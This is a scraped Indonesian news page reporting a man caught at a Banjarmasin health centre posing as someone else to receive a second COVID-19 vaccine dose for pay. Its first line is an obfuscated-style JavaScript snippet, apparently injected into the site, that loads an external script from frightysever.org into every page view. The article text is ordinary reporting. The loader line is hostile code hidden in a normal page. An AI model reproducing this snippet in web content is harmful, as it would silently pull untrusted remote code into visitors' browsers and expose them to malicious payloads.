(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,BANJARMASIN – Aksi joki suntik vaksin seorang laki-laki terbongkar petugas vaksinator di Puskesmas Terminal, Kelurahan Sungai Lulut, Kecamatan Banjarmasin Timur, Kota Banjarmasin, Provinsi Kalimantan Selatan.
Pengungkapan bermula ketika seorang laki-laki datang ke Puskesmas Terminal mengaku bernama M Amin (29) untuk melaksanakan vaksin Covid-19 dosis kedua sekitar pukul 09.12 Wita pada Rabu (5/12/2021).
Saat giliran dipanggil untuk suntik vaksin dosis kedua, petugas medis merasa curiga dengan M Amin yang ternyata bernama asli Gazali Rahman. Sebab saat ditanya masalah nomor identitas kependudukan alias NIK, pelaku salah tulis. Bahkan saat ditanya tanggal dan tahun lahir, pemuda ini tampak ragu-ragu.
Ditambah lagi pelaku tidak bisa menunjukkan bukti vaksin pertama dengan alasan ketinggalan di rumah.
Kemudian petugas vaksinator menyuruh pemuda ini untuk pulang mengambil kartu identitas dan bukti vaksin pertama. Tak berselang lama, M Amin alias Gazali Rahman kembali ke lokasi vaksinasi di Puskesmas Terminal, namun tanpa membawa kartu indentitas dan bukti vaksin pertama.
Baca juga : Vaksinasi Anak Usia 6-11 Tahun di SDIT Al Amin Kapuas
Petugas vaksinator tambah curiga ketika handphone miliknya diperiksa oleh petugas. Ternyata didapati ada percakapan perpesanan berisi instruksi dari seseorang untuk data apa saja yang diperlukan untuk vaksin.
Merasa sudah ketahuan, joki vaksin langsung panik dan mengambil handphone dari tangan petugas vaksinator, langsung lari keluar Puskemas. Apes baginya mencoba kabur malah digagalkan oleh petugas keamanan Puskesmas.
Aksi perjokian tersebut dibenarkan oleh Kepala Dinas Kesehatan Kota Banjarmasin Machli Riyadi. “Ya memang benar, ada aksi perjokian vaksin di Banjarmasin Timur,” ucap Machli.
Baca juga : Siapkan Rp56,6 M Bangun dan Rehab Jalan Jembatan hingga Drainase
Saat diperiksa oleh aparat Polsek Banjarmasin Timur, ia mengaku sengaja melakukan aksin perjokian karena perlu uang, akibat tak punya pekerjaan alias menganggur.
“Dari keterangan pelaku saat diperiksa di Mapolsek Banjarmasin Timur yang bersangkutan mengaku dibayar 200 ribu, sebagai upah untuk jadi joki vaksin,” ucap Kapolres Kota Banjarmasin Kombes Pol Sabana Atmojo. (kanalkalimantan.com/seno)
Reporter : seno
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
This website uses cookies.